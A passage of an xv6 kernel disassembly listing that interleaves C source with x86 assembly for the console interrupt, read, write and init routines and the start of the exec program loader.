C('U'): // Kill line. while(input.e != input.w && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; 8010084d: a1 e8 21 11 80 mov 0x801121e8,%eax 80100852: 83 e8 01 sub $0x1,%eax 80100855: a3 e8 21 11 80 mov %eax,0x801121e8 consputc(BACKSPACE); 8010085a: 83 ec 0c sub $0xc,%esp 8010085d: 68 00 01 00 00 push $0x100 80100862: e8 2b ff ff ff call 80100792 <consputc> 80100867: 83 c4 10 add $0x10,%esp switch(c){ case C('P'): // Process listing. doprocdump = 1; // procdump() locks cons.lock indirectly; invoke later break; case C('U'): // Kill line. while(input.e != input.w && 8010086a: 8b 15 e8 21 11 80 mov 0x801121e8,%edx 80100870: a1 e4 21 11 80 mov 0x801121e4,%eax 80100875: 39 c2 cmp %eax,%edx 80100877: 0f 84 e2 00 00 00 je 8010095f <consoleintr+0x166> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 8010087d: a1 e8 21 11 80 mov 0x801121e8,%eax 80100882: 83 e8 01 sub $0x1,%eax 80100885: 83 e0 7f and $0x7f,%eax 80100888: 0f b6 80 60 21 11 80 movzbl -0x7feedea0(%eax),%eax switch(c){ case C('P'): // Process listing. doprocdump = 1; // procdump() locks cons.lock indirectly; invoke later break; case C('U'): // Kill line. while(input.e != input.w && 8010088f: 3c 0a cmp $0xa,%al 80100891: 75 ba jne 8010084d <consoleintr+0x54> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; consputc(BACKSPACE); } break; 80100893: e9 c7 00 00 00 jmp 8010095f <consoleintr+0x166> case C('H'): case '\x7f': // Backspace if(input.e != input.w){ 80100898: 8b 15 e8 21 11 80 mov 0x801121e8,%edx 8010089e: a1 e4 21 11 80 mov 0x801121e4,%eax 801008a3: 39 c2 cmp %eax,%edx 801008a5: 0f 84 b4 00 00 00 je 8010095f <consoleintr+0x166> input.e--; 801008ab: a1 e8 21 11 80 mov 0x801121e8,%eax 801008b0: 83 e8 01 sub $0x1,%eax 801008b3: a3 e8 21 11 80 mov %eax,0x801121e8 consputc(BACKSPACE); 801008b8: 83 ec 0c sub $0xc,%esp 801008bb: 68 00 01 00 00 push $0x100 801008c0: e8 cd fe ff ff call 80100792 <consputc> 801008c5: 83 c4 10 add $0x10,%esp } break; 801008c8: e9 92 00 00 00 jmp 8010095f <consoleintr+0x166> default: if(c != 0 && input.e-input.r < INPUT_BUF){ 801008cd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801008d1: 0f 84 87 00 00 00 je 8010095e <consoleintr+0x165> 801008d7: 8b 15 e8 21 11 80 mov 0x801121e8,%edx 801008dd: a1 e0 21 11 80 mov 0x801121e0,%eax 801008e2: 29 c2 sub %eax,%edx 801008e4: 89 d0 mov %edx,%eax 801008e6: 83 f8 7f cmp $0x7f,%eax 801008e9: 77 73 ja 8010095e <consoleintr+0x165> c = (c == '\r') ? '\n' : c; 801008eb: 83 7d f0 0d cmpl $0xd,-0x10(%ebp) 801008ef: 74 05 je 801008f6 <consoleintr+0xfd> 801008f1: 8b 45 f0 mov -0x10(%ebp),%eax 801008f4: eb 05 jmp 801008fb <consoleintr+0x102> 801008f6: b8 0a 00 00 00 mov $0xa,%eax 801008fb: 89 45 f0 mov %eax,-0x10(%ebp) input.buf[input.e++ % INPUT_BUF] = c; 801008fe: a1 e8 21 11 80 mov 0x801121e8,%eax 80100903: 8d 50 01 lea 0x1(%eax),%edx 80100906: 89 15 e8 21 11 80 mov %edx,0x801121e8 8010090c: 83 e0 7f and $0x7f,%eax 8010090f: 8b 55 f0 mov -0x10(%ebp),%edx 80100912: 88 90 60 21 11 80 mov %dl,-0x7feedea0(%eax) consputc(c); 80100918: 83 ec 0c sub $0xc,%esp 8010091b: ff 75 f0 pushl -0x10(%ebp) 8010091e: e8 6f fe ff ff call 80100792 <consputc> 80100923: 83 c4 10 add $0x10,%esp if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100926: 83 7d f0 0a cmpl $0xa,-0x10(%ebp) 8010092a: 74 18 je 80100944 <consoleintr+0x14b> 8010092c: 83 7d f0 04 cmpl $0x4,-0x10(%ebp) 80100930: 74 12 je 80100944 <consoleintr+0x14b> 80100932: a1 e8 21 11 80 mov 0x801121e8,%eax 80100937: 8b 15 e0 21 11 80 mov 0x801121e0,%edx 8010093d: 83 ea 80 sub $0xffffff80,%edx 80100940: 39 d0 cmp %edx,%eax 80100942: 75 1a jne 8010095e <consoleintr+0x165> input.w = input.e; 80100944: a1 e8 21 11 80 mov 0x801121e8,%eax 80100949: a3 e4 21 11 80 mov %eax,0x801121e4 wakeup(&input.r); 8010094e: 83 ec 0c sub $0xc,%esp 80100951: 68 e0 21 11 80 push $0x801121e0 80100956: e8 87 45 00 00 call 80104ee2 <wakeup> 8010095b: 83 c4 10 add $0x10,%esp } } break; 8010095e: 90 nop consoleintr(int (*getc)(void)) { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ 8010095f: 8b 45 08 mov 0x8(%ebp),%eax 80100962: ff d0 call *%eax 80100964: 89 45 f0 mov %eax,-0x10(%ebp) 80100967: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010096b: 0f 89 aa fe ff ff jns 8010081b <consoleintr+0x22> } } break; } } release(&cons.lock); 80100971: 83 ec 0c sub $0xc,%esp 80100974: 68 e0 c5 10 80 push $0x8010c5e0 80100979: e8 1f 48 00 00 call 8010519d <release> 8010097e: 83 c4 10 add $0x10,%esp if(doprocdump) { 80100981: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80100985: 74 05 je 8010098c <consoleintr+0x193> procdump(); // now call procdump() wo. cons.lock held 80100987: e8 11 46 00 00 call 80104f9d <procdump> } } 8010098c: 90 nop 8010098d: c9 leave 8010098e: c3 ret 8010098f <consoleread>: int consoleread(struct inode *ip, char *dst, int n) { 8010098f: 55 push %ebp 80100990: 89 e5 mov %esp,%ebp 80100992: 83 ec 18 sub $0x18,%esp uint target; int c; iunlock(ip); 80100995: 83 ec 0c sub $0xc,%esp 80100998: ff 75 08 pushl 0x8(%ebp) 8010099b: e8 28 11 00 00 call 80101ac8 <iunlock> 801009a0: 83 c4 10 add $0x10,%esp target = n; 801009a3: 8b 45 10 mov 0x10(%ebp),%eax 801009a6: 89 45 f4 mov %eax,-0xc(%ebp) acquire(&cons.lock); 801009a9: 83 ec 0c sub $0xc,%esp 801009ac: 68 e0 c5 10 80 push $0x8010c5e0 801009b1: e8 80 47 00 00 call 80105136 <acquire> 801009b6: 83 c4 10 add $0x10,%esp while(n > 0){ 801009b9: e9 ac 00 00 00 jmp 80100a6a <consoleread+0xdb> while(input.r == input.w){ if(proc->killed){ 801009be: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801009c4: 8b 40 24 mov 0x24(%eax),%eax 801009c7: 85 c0 test %eax,%eax 801009c9: 74 28 je 801009f3 <consoleread+0x64> release(&cons.lock); 801009cb: 83 ec 0c sub $0xc,%esp 801009ce: 68 e0 c5 10 80 push $0x8010c5e0 801009d3: e8 c5 47 00 00 call 8010519d <release> 801009d8: 83 c4 10 add $0x10,%esp ilock(ip); 801009db: 83 ec 0c sub $0xc,%esp 801009de: ff 75 08 pushl 0x8(%ebp) 801009e1: e8 84 0f 00 00 call 8010196a <ilock> 801009e6: 83 c4 10 add $0x10,%esp return -1; 801009e9: b8 ff ff ff ff mov $0xffffffff,%eax 801009ee: e9 ab 00 00 00 jmp 80100a9e <consoleread+0x10f> } sleep(&input.r, &cons.lock); 801009f3: 83 ec 08 sub $0x8,%esp 801009f6: 68 e0 c5 10 80 push $0x8010c5e0 801009fb: 68 e0 21 11 80 push $0x801121e0 80100a00: e8 f2 43 00 00 call 80104df7 <sleep> 80100a05: 83 c4 10 add $0x10,%esp iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ while(input.r == input.w){ 80100a08: 8b 15 e0 21 11 80 mov 0x801121e0,%edx 80100a0e: a1 e4 21 11 80 mov 0x801121e4,%eax 80100a13: 39 c2 cmp %eax,%edx 80100a15: 74 a7 je 801009be <consoleread+0x2f> ilock(ip); return -1; } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; 80100a17: a1 e0 21 11 80 mov 0x801121e0,%eax 80100a1c: 8d 50 01 lea 0x1(%eax),%edx 80100a1f: 89 15 e0 21 11 80 mov %edx,0x801121e0 80100a25: 83 e0 7f and $0x7f,%eax 80100a28: 0f b6 80 60 21 11 80 movzbl -0x7feedea0(%eax),%eax 80100a2f: 0f be c0 movsbl %al,%eax 80100a32: 89 45 f0 mov %eax,-0x10(%ebp) if(c == C('D')){ // EOF 80100a35: 83 7d f0 04 cmpl $0x4,-0x10(%ebp) 80100a39: 75 17 jne 80100a52 <consoleread+0xc3> if(n < target){ 80100a3b: 8b 45 10 mov 0x10(%ebp),%eax 80100a3e: 3b 45 f4 cmp -0xc(%ebp),%eax 80100a41: 73 2f jae 80100a72 <consoleread+0xe3> // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; 80100a43: a1 e0 21 11 80 mov 0x801121e0,%eax 80100a48: 83 e8 01 sub $0x1,%eax 80100a4b: a3 e0 21 11 80 mov %eax,0x801121e0 } break; 80100a50: eb 20 jmp 80100a72 <consoleread+0xe3> } *dst++ = c; 80100a52: 8b 45 0c mov 0xc(%ebp),%eax 80100a55: 8d 50 01 lea 0x1(%eax),%edx 80100a58: 89 55 0c mov %edx,0xc(%ebp) 80100a5b: 8b 55 f0 mov -0x10(%ebp),%edx 80100a5e: 88 10 mov %dl,(%eax) --n; 80100a60: 83 6d 10 01 subl $0x1,0x10(%ebp) if(c == '\n') 80100a64: 83 7d f0 0a cmpl $0xa,-0x10(%ebp) 80100a68: 74 0b je 80100a75 <consoleread+0xe6> int c; iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ 80100a6a: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100a6e: 7f 98 jg 80100a08 <consoleread+0x79> 80100a70: eb 04 jmp 80100a76 <consoleread+0xe7> if(n < target){ // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; } break; 80100a72: 90 nop 80100a73: eb 01 jmp 80100a76 <consoleread+0xe7> } *dst++ = c; --n; if(c == '\n') break; 80100a75: 90 nop } release(&cons.lock); 80100a76: 83 ec 0c sub $0xc,%esp 80100a79: 68 e0 c5 10 80 push $0x8010c5e0 80100a7e: e8 1a 47 00 00 call 8010519d <release> 80100a83: 83 c4 10 add $0x10,%esp ilock(ip); 80100a86: 83 ec 0c sub $0xc,%esp 80100a89: ff 75 08 pushl 0x8(%ebp) 80100a8c: e8 d9 0e 00 00 call 8010196a <ilock> 80100a91: 83 c4 10 add $0x10,%esp return target - n; 80100a94: 8b 45 10 mov 0x10(%ebp),%eax 80100a97: 8b 55 f4 mov -0xc(%ebp),%edx 80100a9a: 29 c2 sub %eax,%edx 80100a9c: 89 d0 mov %edx,%eax } 80100a9e: c9 leave 80100a9f: c3 ret 80100aa0 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80100aa0: 55 push %ebp 80100aa1: 89 e5 mov %esp,%ebp 80100aa3: 83 ec 18 sub $0x18,%esp int i; iunlock(ip); 80100aa6: 83 ec 0c sub $0xc,%esp 80100aa9: ff 75 08 pushl 0x8(%ebp) 80100aac: e8 17 10 00 00 call 80101ac8 <iunlock> 80100ab1: 83 c4 10 add $0x10,%esp acquire(&cons.lock); 80100ab4: 83 ec 0c sub $0xc,%esp 80100ab7: 68 e0 c5 10 80 push $0x8010c5e0 80100abc: e8 75 46 00 00 call 80105136 <acquire> 80100ac1: 83 c4 10 add $0x10,%esp for(i = 0; i < n; i++) 80100ac4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80100acb: eb 21 jmp 80100aee <consolewrite+0x4e> consputc(buf[i] & 0xff); 80100acd: 8b 55 f4 mov -0xc(%ebp),%edx 80100ad0: 8b 45 0c mov 0xc(%ebp),%eax 80100ad3: 01 d0 add %edx,%eax 80100ad5: 0f b6 00 movzbl (%eax),%eax 80100ad8: 0f be c0 movsbl %al,%eax 80100adb: 0f b6 c0 movzbl %al,%eax 80100ade: 83 ec 0c sub $0xc,%esp 80100ae1: 50 push %eax 80100ae2: e8 ab fc ff ff call 80100792 <consputc> 80100ae7: 83 c4 10 add $0x10,%esp { int i; iunlock(ip); acquire(&cons.lock); for(i = 0; i < n; i++) 80100aea: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100aee: 8b 45 f4 mov -0xc(%ebp),%eax 80100af1: 3b 45 10 cmp 0x10(%ebp),%eax 80100af4: 7c d7 jl 80100acd <consolewrite+0x2d> consputc(buf[i] & 0xff); release(&cons.lock); 80100af6: 83 ec 0c sub $0xc,%esp 80100af9: 68 e0 c5 10 80 push $0x8010c5e0 80100afe: e8 9a 46 00 00 call 8010519d <release> 80100b03: 83 c4 10 add $0x10,%esp ilock(ip); 80100b06: 83 ec 0c sub $0xc,%esp 80100b09: ff 75 08 pushl 0x8(%ebp) 80100b0c: e8 59 0e 00 00 call 8010196a <ilock> 80100b11: 83 c4 10 add $0x10,%esp return n; 80100b14: 8b 45 10 mov 0x10(%ebp),%eax } 80100b17: c9 leave 80100b18: c3 ret 80100b19 <consoleinit>: void consoleinit(void) { 80100b19: 55 push %ebp 80100b1a: 89 e5 mov %esp,%ebp 80100b1c: 83 ec 08 sub $0x8,%esp initlock(&cons.lock, "console"); 80100b1f: 83 ec 08 sub $0x8,%esp 80100b22: 68 76 89 10 80 push $0x80108976 80100b27: 68 e0 c5 10 80 push $0x8010c5e0 80100b2c: e8 e3 45 00 00 call 80105114 <initlock> 80100b31: 83 c4 10 add $0x10,%esp devsw[CONSOLE].write = consolewrite; 80100b34: c7 05 ac 2b 11 80 a0 movl $0x80100aa0,0x80112bac 80100b3b: 0a 10 80 devsw[CONSOLE].read = consoleread; 80100b3e: c7 05 a8 2b 11 80 8f movl $0x8010098f,0x80112ba8 80100b45: 09 10 80 cons.locking = 1; 80100b48: c7 05 14 c6 10 80 01 movl $0x1,0x8010c614 80100b4f: 00 00 00 picenable(IRQ_KBD); 80100b52: 83 ec 0c sub $0xc,%esp 80100b55: 6a 01 push $0x1 80100b57: e8 cf 33 00 00 call 80103f2b <picenable> 80100b5c: 83 c4 10 add $0x10,%esp ioapicenable(IRQ_KBD, 0); 80100b5f: 83 ec 08 sub $0x8,%esp 80100b62: 6a 00 push $0x0 80100b64: 6a 01 push $0x1 80100b66: e8 6f 1f 00 00 call 80102ada <ioapicenable> 80100b6b: 83 c4 10 add $0x10,%esp } 80100b6e: 90 nop 80100b6f: c9 leave 80100b70: c3 ret 80100b71 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 80100b71: 55 push %ebp 80100b72: 89 e5 mov %esp,%ebp 80100b74: 81 ec 18 01 00 00 sub $0x118,%esp struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; begin_op(); 80100b7a: e8 ce 29 00 00 call 8010354d <begin_op> if((ip = namei(path)) == 0){ 80100b7f: 83 ec 0c sub $0xc,%esp 80100b82: ff 75 08 pushl 0x8(%ebp) 80100b85: e8 9e 19 00 00 call 80102528 <namei> 80100b8a: 83 c4 10 add $0x10,%esp 80100b8d: 89 45 d8 mov %eax,-0x28(%ebp) 80100b90: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 80100b94: 75 0f jne 80100ba5 <exec+0x34> end_op(); 80100b96: e8 3e 2a 00 00 call 801035d9 <end_op> return -1; 80100b9b: b8 ff ff ff ff mov $0xffffffff,%eax 80100ba0: e9 ce 03 00 00 jmp 80100f73 <exec+0x402> } ilock(ip); 80100ba5: 83 ec 0c sub $0xc,%esp 80100ba8: ff 75 d8 pushl -0x28(%ebp) 80100bab: e8 ba 0d 00 00 call 8010196a <ilock> 80100bb0: 83 c4 10 add $0x10,%esp pgdir = 0; 80100bb3: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf)) 80100bba: 6a 34 push $0x34 80100bbc: 6a 00 push $0x0 80100bbe: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax 80100bc4: 50 push %eax 80100bc5: ff 75 d8 pushl -0x28(%ebp) 80100bc8: e8 0b 13 00 00 call 80101ed8 <readi> 80100bcd: 83 c4 10 add $0x10,%esp 80100bd0: 83 f8 33 cmp $0x33,%eax 80100bd3: 0f 86 49 03 00 00 jbe 80100f22 <exec+0x3b1> goto bad; if(elf.magic != ELF_MAGIC) 80100bd9: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100bdf: 3d 7f 45 4c 46 cmp $0x464c457f,%eax 80100be4: 0f 85 3b 03 00 00 jne 80100f25 <exec+0x3b4> goto bad; if((pgdir = setupkvm()) == 0) 80100bea: e8 c4 72 00 00 call 80107eb3 <setupkvm> 80100bef: 89 45 d4 mov %eax,-0x2c(%ebp) 80100bf2: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 80100bf6: 0f 84 2c 03 00 00 je 80100f28 <exec+0x3b7> goto bad; // Load program into memory. sz = 0; 80100bfc: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100c03: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 80100c0a: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax 80100c10: 89 45 e8 mov %eax,-0x18(%ebp) 80100c13: e9 ab 00 00 00 jmp 80100cc3 <exec+0x152> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100c18: 8b 45 e8 mov -0x18(%ebp),%eax 80100c1b: 6a 20 push $0x20 80100c1d: 50 push %eax 80100c1e: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax 80100c24: 50 push %eax 80100c25: ff 75 d8 pushl -0x28(%ebp) 80100c28: e8 ab 12 00 00 call 80101ed8 <readi> 80100c2d: 83 c4 10 add $0x10,%esp 80100c30: 83 f8 20 cmp $0x20,%eax 80100c33: 0f 85 f2 02 00 00 jne 80100f2b <exec+0x3ba> goto bad; if(ph.type != ELF_PROG_LOAD) 80100c39: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100c3f: 83 f8 01 cmp $0x1,%eax 80100c42: 75 71 jne 80100cb5 <exec+0x144> continue; if(ph.memsz < ph.filesz) 80100c44: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx 80100c4a: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax 80100c50: 39 c2 cmp %eax,%edx 80100c52: 0f 82 d6 02 00 00 jb 80100f2e <exec+0x3bd> goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100c58: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx 80100c5e: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax 80100c64: 01 d0 add %edx,%eax 80100c66: 83 ec 04 sub $0x4,%esp 80100c69: 50 push %eax 80100c6a: ff 75 e0 pushl -0x20(%ebp) 80100c6d: ff 75 d4 pushl -0x2c(%ebp) 80100c70: e8 e5 75 00 00 call 8010825a <allocuvm> 80100c75: 83 c4 10 add $0x10,%esp 80100c78: 89 45 e0 mov %eax,-0x20(%ebp) 80100c7b: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80100c7f: 0f 84 ac 02 00 00 je 80100f31 <exec+0x3c0> goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100c85: 8b 95 fc fe ff ff mov -0x104(%ebp),%edx 80100c8b: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c91: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx 80100c97: 83 ec 0c sub $0xc,%esp 80100c9a: 52 push %edx 80100c9b: 50 push %eax 80100c9c: ff 75 d8 pushl -0x28(%ebp) 80100c9f: 51 push %ecx 80100ca0: ff 75 d4 pushl -0x2c(%ebp) 80100ca3: e8 db 74 00 00 call 80108183 <loaduvm> 80100ca8: 83 c4 20 add $0x20,%esp 80100cab: 85 c0 test %eax,%eax 80100cad: 0f 88 81 02 00 00 js 80100f34 <exec+0x3c3> 80100cb3: eb 01 jmp 80100cb6 <exec+0x145> sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) goto bad; if(ph.type != ELF_PROG_LOAD) continue; 80100cb5: 90 nop if((pgdir = setupkvm()) == 0) goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100cb6: 83 45 ec 01 addl $0x1,-0x14(%ebp) 80100cba: 8b 45 e8 mov -0x18(%ebp),%eax 80100cbd: 83 c0 20 add $0x20,%eax 80100cc0: 89 45 e8 mov %eax,-0x18(%ebp) 80100cc3: 0f b7 85 38 ff ff ff movzwl -0xc8(%ebp),%eax 80100cca: 0f b7 c0 movzwl %ax,%eax 80100ccd: 3b 45 ec cmp -0x14(%ebp),%eax 80100cd0: 0f 8f 42 ff ff ff jg 80100c18 <exec+0xa7> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); 80100cd6: 83 ec 0c sub $0xc,%esp 80100cd9: ff 75 d8 pushl -0x28(%ebp) 80100cdc: e8 49 0f 00 00 call 80101c2a <iunlockput> 80100ce1: 83 c4 10 add $0x10,%esp end_op(); 80100ce4: e8 f0 28 00 00 call 801035d9 <end_op> ip = 0; 80100ce9: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp) // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100cf0: 8b 45 e0 mov -0x20(%ebp),%eax 80100cf3: 05 ff 0f 00 00 add $0xfff,%eax 80100cf8: 25 00 f0 ff ff and $0xfffff000,%eax 80100cfd: 89 45 e0 mov %eax,-0x20(%ebp) if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100d00: 8b 45 e0 mov -0x20(%ebp),%eax 80100d03: 05 00 20 00 00 add $0x2000,%eax 80100d08: 83 ec 04 sub $0x4,%esp 80100d0b: 50 push %eax 80100d0c: ff 75 e0 pushl -0x20(%ebp) 80100d0f: ff 75 d4 pushl -0x2c(%ebp) 80100d12: e8 43 75 00 00 call 8010825a <allocuvm> 80100d17: 83 c4 10 add $0x10,%esp 80100d1a: 89 45 e0 mov %eax,-0x20(%ebp) 80100d1d: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80100d21: 0f 84 10 02 00 00 je 80100f37 <exec+0x3c6> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100d27: 8b 45 e0 mov -0x20(%ebp),%eax 80100d2a: 2d 00 20 00 00 sub $0x2000,%eax 80100d2f: 83 ec 08 sub $0x8,%esp 80100d32: 50 push %eax 80100d33: ff 75 d4 pushl -0x2c(%ebp) 80100d36: e8 45 77 00 00 call 80108480 <clearpteu> 80100d3b: 83 c4 10 add $0x10,%esp sp = sz; 80100d3e: 8b 45 e0 mov -0x20(%ebp),%eax 80100d41: 89 45 dc mov %eax,-0x24(%ebp) // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100d44: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80100d4b: e9 96 00 00 00 jmp 80100de6 <exec+0x275> if(argc >= MAXARG) 80100d50: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp) 80100d54: 0f 87 e0 01 00 00 ja 80100f3a <exec+0x3c9> goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100d5a: 8b 45 e4 mov -0x1c(%ebp),%eax 80100d5d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80100d64: 8b 45 0c mov 0xc(%ebp),%eax 80100d67: 01 d0 add %edx,%eax 80100d69: 8b 00 mov (%eax),%eax 80100d6b: 83 ec 0c sub $0xc,%esp 80100d6e: 50 push %eax 80100d6f: e8 72 48 00 00 call 801055e6 <strlen> 80100d74: 83 c4 10 add $0x10,%esp 80100d77: 89 c2 mov %eax,%edx 80100d79: 8b 45 dc mov -0x24(%ebp),%eax 80100d7c: 29 d0 sub %edx,%eax 80100d7e: 83 e8 01 sub $0x1,%eax 80100d81: 83 e0 fc and $0xfffffffc,%eax 80100d84: 89 45 dc mov %eax,-0x24(%ebp) if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100d87: 8b 45 e4 mov -0x1c(%ebp),%eax 80100d8a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80100d91: 8b 45 0c mov 0xc(%ebp),%eax 80100d94: 01 d0 add %edx,%eax 80100d96: 8b 00 mov (%eax),%eax 80100d98: 83 ec 0c sub $0xc,%esp 80100d9b: 50 push %eax 80100d9c: e8 45 48 00 00 call 801055e6 <strlen> 80100da1: 83 c4 10 add $0x10,%esp 80100da4: 83 c0 01 add $0x1,%eax 80100da7: 89 c1 mov %eax,%ecx 80100da9: 8b 45 e4 mov -0x1c(%ebp),%eax 80100dac: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80100db3: 8b 45 0c mov 0xc(%ebp),%eax 80100db6: 01 d0 add %edx,%eax 80100db8: 8b 00 mov (%eax),%eax 80100dba: 51 push %ecx 80100dbb: 50 push %eax 80100dbc: ff 75 dc pushl -0x24(%ebp) 80100dbf: ff 75 d4 pushl -0x2c(%ebp) 80100dc2: e8 70 78 00 00 call 80108637 <copyout> 80100dc7: 83 c4 10 add $0x10,%esp 80100dca: 85 c0 test %eax,%eax 80100dcc: 0f 88 6b 01 00 00 js 80100f3d <exec+0x3cc> goto bad; ustack[3+argc] = sp; 80100dd2: 8b 45 e4 mov -0x1c(%ebp),%eax 80100dd5: 8d 50 03 lea 0x3(%eax),%edx 80100dd8: 8b 45 dc mov -0x24(%ebp),%eax 80100ddb: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100de2: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 80100de6: 8b 45 e4 mov -0x1c(%ebp),%eax 80100de9: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80100df0: 8b 45 0c mov 0xc(%ebp),%eax 80100df3: 01 d0 add %edx,%eax 80100df5: 8b 00 mov (%eax),%eax 80100df7: 85 c0 test %eax,%eax 80100df9: 0f 85 51 ff ff ff jne 80100d50 <exec+0x1df> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; 80100dff: 8b 45 e4 mov -0x1c(%ebp),%eax 80100e02: 83 c0 03 add $0x3,%eax 80100e05: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4) 80100e0c: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100e10: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp) 80100e17: ff ff ff ustack[1] = argc; 80100e1a: 8b 45 e4 mov -0x1c(%ebp),%eax 80100e1d: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100e23: 8b 45 e4 mov -0x1c(%ebp),%eax 80100e26: 83 c0 01 add $0x1,%eax 80100e29: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80100e30: 8b 45 dc mov -0x24(%ebp),%eax 80100e33: 29 d0 sub %edx,%eax 80100e35: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp) sp -= (3+argc+1) * 4; 80100e3b: 8b 45 e4 mov -0x1c(%ebp),%eax 80100e3e: 83 c0 04 add $0x4,%eax 80100e41: c1 e0 02 shl $0x2,%eax 80100e44: 29 45 dc sub %eax,-0x24(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100e47: 8b 45 e4 mov -0x1c(%ebp),%eax 80100e4a: 83 c0 04 add $0x4,%eax 80100e4d: c1 e0 02 shl $0x2,%eax 80100e50: 50 push %eax 80100e51: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax 80100e57: 50 push %eax 80100e58: ff 75 dc pushl -0x24(%ebp) 80100e5b: ff 75 d4 pushl -0x2c(%ebp) 80100e5e: e8 d4 77 00 00 call 80108637 <copyout> 80100e63: 83 c4 10 add $0x10,%esp 80100e66: 85 c0 test %eax,%eax 80100e68: 0f 88 d2 00 00 00 js 80100f40 <exec+0x3cf> goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100e6e: 8b 45 08 mov 0x8(%ebp),%eax 80100e71: 89 45 f4 mov %eax,-0xc(%ebp) 80100e74: 8b 45 f4 mov -0xc(%ebp),%eax 80100e77: 89 45 f0 mov %eax,-0x10(%ebp) 80100e7a: eb 17 jmp 80100e93 <exec+0x322> if(*s == '/') 80100e7c: 8b 45 f4 mov -0xc(%ebp),%eax 80100e7f: 0f b6 00 movzbl (%eax),%eax 80100e82: 3c 2f cmp $0x2f,%al 80100e84: 75 09 jne 80100e8f <exec+0x31e> last = s+1; 80100e86: 8b 45 f4 mov -0xc(%ebp),%eax 80100e89: 83 c0 01 add $0x1,%eax 80100e8c: 89 45 f0 mov %eax,-0x10(%ebp) sp -= (3+argc+1) * 4; 